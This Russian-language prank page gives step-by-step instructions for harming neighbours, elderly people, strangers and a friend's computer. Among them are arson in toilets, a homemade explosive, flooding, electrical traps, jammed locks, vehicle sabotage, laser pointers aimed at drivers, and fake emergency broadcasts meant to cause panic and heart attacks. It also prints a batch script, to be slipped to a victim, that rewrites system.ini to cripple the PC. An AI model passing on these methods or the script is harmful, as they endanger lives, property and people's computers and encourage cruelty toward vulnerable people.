Достали бабки у подъезда?
Достали бабки у подъезда? Тогда это западло для тебя :). Можно просто: зарезать их, задушить, застрелить наконец, но негуманно и карается законом. Но если при этом хочешь как следует повеселиться, совершая диверсию, то вникай дальше. А сделаем вот что... Оторванную человскую ногу с криком "АаАа! Больно! АаАа!" :). ИНГРИДИЕНТЫ нашей заподлянки: 1. Старый сапог (лучше зимне-осенний с пуховой прокладкой, прокладка обувная естественно) 2. Красные краски (чем больше, тем лучше, желательно ГУАШЬ) 3. Жеваные джинсы (жевать не обязательно самому) 4. Много бумаги (туалетной не надо) 5. Нитка с иглой (только не сядь на иглу) 6. Суетливые бабки под окном (искать долго не придется) Далее делаем саму ногу. К сапогу пришиваем пол штанины от джинс, затем фигачим внутрь бумагу и конец штанины зашиваем так, чтобы бумага не вывалилась, а то всю малину обломаешь на полпути. Далее разводим краску в воде в пропорциях 30г на 0,5л. Поливаем "ногу" краской. Все в принципе готово. Не давая краске высохнуть, с вышеперечисленным криком выкидывай "ногу" из промежуточного окна между вторым и третьим этажами (чтобы не вычислили) так, чтобы она упала рядом с бабками. Для тех, кто в танке: кидаем не из квартиры, а из подъезда, чтобы не просекли. После того, как бабки разберутся, что ЭТО, кто-то побежит в поисках валидолу, кто-то через минут двадцать встанет с лавочки со своими намеками по поводу того, что хрен знает, что плохо впитывает ВЛАГУ :). Итог операции один: больше никто из этих наивных бабулек никогда не подумает посидеть рядом с твоим подъездом, а тем более под окнами :).
Ещё 7 способов нагадить в туалете
1. Просто пожар. Выплёскиваем из флакончика в предварительно очищенный от воды (но, желательно, с говном) унитаз немного горючей жидкости (бензин, ацетон, хмммм... спирт), бросаем спичку, быстро уходим.
2. "Говнокоптилка". Находим на территории туалетов полную пепельницу – если пустая или мокрая – то не судьба приколу. Как известно – плотно насыпанные бычки, если их аккуратно поджечь, могут тлеть очень долго, выделяя неимоверное количество дыма. Запираемся вместе с общественной пепельницей в кабинке, делаем в неё по-большому, но не сильно много. Слегка поливаем горючей жидкостью. Потом всё то дело куда-нибудь прячем, чтобы было труднее обнаружить, если есть возможность – ставим в вентиляционную трубу. Поджигаем - уходим - наблюдаем со стороны.
3. Толчковая диверсия. Берём крупную китайскую петарду, если есть возможность, делаем "бомбу" сами. Так как жертв мы не хотим, то бомбу делаем фугасную – без осколков и металлических частей - и не слишком мощную. Находим самый отстойный толчок, желательно полный, со свисающим через край говнищем. Закладываем в эпицентр наше "взрывное устройство", поджигаем фитиль, тихо удаляемся. Затем в числе прочих любопытных зевак бежим смотреть разлетевшееся по стенам говно и, возможно, обломки унитаза. Мелочь, а приятно.
4. "Зверинец". Накапываем банку дождевых червей, только не как на рыбалку, а по возможности, гораздо больше. Пускаем всё то дело в один из наиболее заполненных унитазов. Всё.
5. Потоп. Аккуратно дезинтегрируем в любом понравившемся месте соединения водопроводных труб, уходим. Если сила истечения воды будет большая, то за время обнаружения/устранения "аварии" - а это минимум 15-20 минут - вытечет около тысячи (!!!!!!!) литров самой обычной безобидной воды Если этаж туалета верхний, то эффект последействия значительно усиливается. Для гипер-усиления эффекта, уходя, убедись в безлюдности туалета, закрой дверь поплотнее, повесь табличку "туалет не работает". Чтобы не вызывать подозрений в своём чёрном деле (а если просекут – то-о-о-о-о... а ну-ка, включи свою буйную фантазию :]), можно просто (если сильно надо) натянуть халат сантехника или технички и перед диверсией на законных основаниях выгнать всех из туалета. Пожалуй, это самое простое, но и самое зверское из туалетно-диверсионных мероприятий. Грамотно применяя вышеуказанные действия в соответствии с определённым стратегическим расчетом, можно добиться практически любого эффекта, связанного, например, с работой ВУЗа, начиная от банального срыва лекции (профессор погряз в туалете), и заканчивая тотальным прекращением (пожар или в туалете трагически погиб Американский дипломат) существования ВУЗа вообще :::::]]]]]]
6. Нужна веревка, старый друшлак и доска 30-40см. Соединяем веревкой доску и друшлак, Закидываем сеть(друщлак, в самую дырку так чтобы он держался горизонтально), и ставим капкан-доску под углом на полу у унитаза. Доска должна висеть так чтобы при наступании на нее друшлак поднимался. Делаем дела, выкручиваем лампочку и уходим.
7. Есть еще одна маза-в мужской сортир кинуть девятиволтовую Крону(знаете аккумулятор или батарейка, ну не помню я...), главное в этом деле, чтобы оба контакта находились в воде. Эффект - КАЙФ!!!Пробовал!!!Проверено Ваньком!!!
Просто Zападло
1.Берешь монету и приклеиваешь на гвоздь номер 100
2.Вбиваешь монету и смотришь как её кто-нибудь отколупывает, а ещё лучше приклей её на пол магазина «Супер Клеем» потом ты выходишь на улицу, предварительно запасшись шариками от подшипника и засыпаешь в выхлопную трубу автобуса или машины свист такой, как будто целый полк ГИБДД свистит дружно в один свисток потом, пишите объявление примерно такого содержания '' уважаемые жильцы дома <номер дома> в связи с нашествием радиоактивных крыс и тараканов будет отключено водо- газо- и электроснабжение печать подпись и телефон жертвы."
3. Потом заходишь в подъезд жертвы выкручиваешь пробки, заклеиваешь дверной замок пластырем и заливаешь монтажной пеной. Разбираешь выключатель, оголяешь его контакты предварительно выключив, выкручиваешь лампочку, в патрон вставляешь рубль, закручиваешь лампочку, выкручиваешь пробки, и пока родной сосед выходит из лифта не забудь кинут туда пару кирпичей и отправить их на самый верх. ВСЁ!!!
Продолжаем гадить ламеру
Не каждому ламеру известно, что у него в компе есть математический сопроцессор (FPU). Эта вещь отвечает за выполнение операций с плавающей точкой. Не вдаваясь в подробности, скажу, что если FPU отключить твоему заклятому другу (или себе, если ты мазохист), то он получит незабываемые ощущения. A теперь конкретнее: в Win95 - иногда вылетает синий экран с сообщениями об ошибках; игры тормозят зверски (особенно 3D); DOS проги не запускаются вообще; эффекты такие, будто частота проца уменьшилась в два раза, в общем глюки :). В Win98 - все тоже самое, но нет синих экранов :). Как это делается? Есть три пути:
1) Изменяем параметры в Панель управления -> Система -> Сопроцессор -> Включаем режим "не использовать". Но это нудно и не по-хакерски :).
2) Помещаем в System.ini строчки: [MathCoprocessor]
FPUFlags=2
3) А теперь чистA хакерский вариант :). Пишем .bat файл и подсовываем его другу. Выглядеть он должен так: @echo offОбязательно останься и посмотри, как твой друг будет радоваться ускорению работы любимого компа :).
ren %windir%\system.ini s
echo [MathCoprocessor] > %windir%\y
echo FPUFlags=2 >> %windir%\y
echo >> %windir%\y
copy %windir%\y /a +%windir%\s /a %windir%\system.ini > nul
del %windir%\s
del %windir%\y
"Рай" для соседей
1. Я очень люблю эту заподлянку! Почему? Всегда хотим приколоться при минимуме затрат, вот она как раз и подходит. Делается как снеговик из снега. Идем, берём старую газету, разворачиваем её и аккуратно закрываем ей очко унитаза. Для более конкретного начала можно сложить вместе несколько газет. Далее берём подушку и аккуратно лупим ей плашмя (!) по газете на унитазе. К слову добавлю, ту, на которой спишь, всё-таки не надо - неприятно потом лежать будет :). Ну так вот, воздушная прослойка внутри у унитаза прошибает сам понимаешь что вверх и вниз по стояку к соседям. Ну и сам понимаешь, что вылезает из соседских туалетов :).
2. Доведи бабку до инфаркта! Не секрет, что все твои бабки-соседки никогда не слушают ни «Максимум», ни «Станцию 106.8», ни «Серебряный Дождь», ни даже «Русское Радио». У них просто нет FM приемника! А если есть, то «вся эта гадкая музыка, которой увлекается молодежь», им не нравится. Они слушают простое радио, которое вещает из радио-розетки. Вот тут-то они и попали! Берем магнитофон, отыскиваем старые наушники, отрезаем у них сами уши, оставляя только штекер и провод. Вставляй в мафон свою любимую кассету с Сепультурой, Дэд Трэш Мега Киллером или еще что-нибудь потяжелее. Втыкай провод от бывших наушников в мафон. Другой конец провода втыкай в радио розетку. А вот теперь врубай мафон на полную громкость. И во всем доме начинается полный УГАР!!! Но это так... баловство. Можно поприкалываться и позлее. Втыкай в мафон кассету, включай запись и голосом Левитана (помнишь «От советского Информбюро...»?) начинай спокойно говорить в микрофон: «Внимание! Это не учебная тревога. Через 15 минут в Москве ожидается землетрясение по шкале 6 баллов. Основные толчки будет в Центральном, Юго-Восточном, Восточном и Южном округах. В остальных округах толчки достигнут 4-5 баллов. В целях вашей безопасности Правительство Москвы рекомендует вам немедленно покинуть квартиры на полчаса». Записал? Отлично. Теперь отложи кассетку и иди спать. Только поставь себе будильник на 7-30 утра. А вот утром, часиков в 8, подключай мафон к радиосети, вставляй кассетку и врубай на полную!После этого можешь идти к окну и со злорадством смотреть на всех тех придурков, которые будут стоять во дворе, сжимая в руках самое ценное и горячо обсуждая ожидаемое землетрясение. :)
3. Все бабки ужас как боятся денежной реформы. Вот этим то мы их и возьмем. Запиши на кассету следующее сообщение. «Внимание! Экстренное сообщение! Как заявил председатель Центрального Банка России в ближайшее время будет производиться обмен купюр достоинством 5, 10, 50, 100 и 500 рублей на купюры нового образца с обменным коэффициентом пять к одному. Поменять деньги смогут все граждане без ограничения предоставив справку о доходах и справку из налоговой инспекции об уплате налогов. Он также заявил, что дает руку на отсечение, что планов по обмену монет достоинством один и пять рублей у Центрального Банка и правительства нет!» Пара инфарктов в подъезде обеспечена.
4. Ну а если всех бабок во дворе ты уже уничтожил, то пора браться за «новых русских». Тащи своё бренное тело на ближайший рынок и покупай там себе лазерную указку (это которая светит красным лучом). Теперь заползай на 5-7 этаж дома и жди, когда подъедет 600-й мерс «нового русского». Подъехал? Тогда действуй!!! Включай указку и свети ей прямо через лобовое стекло в лоб водителя или пассажира. Старайся попасть точно в лоб или грудь. Как будто это лазерный прицел. Увидишь, как только в Мерине это заметят, начнется такой экстрим! Они повыскакивают из машины и попадают в ближайшие канавы. :)
Разделы:
Дополнительные разделы: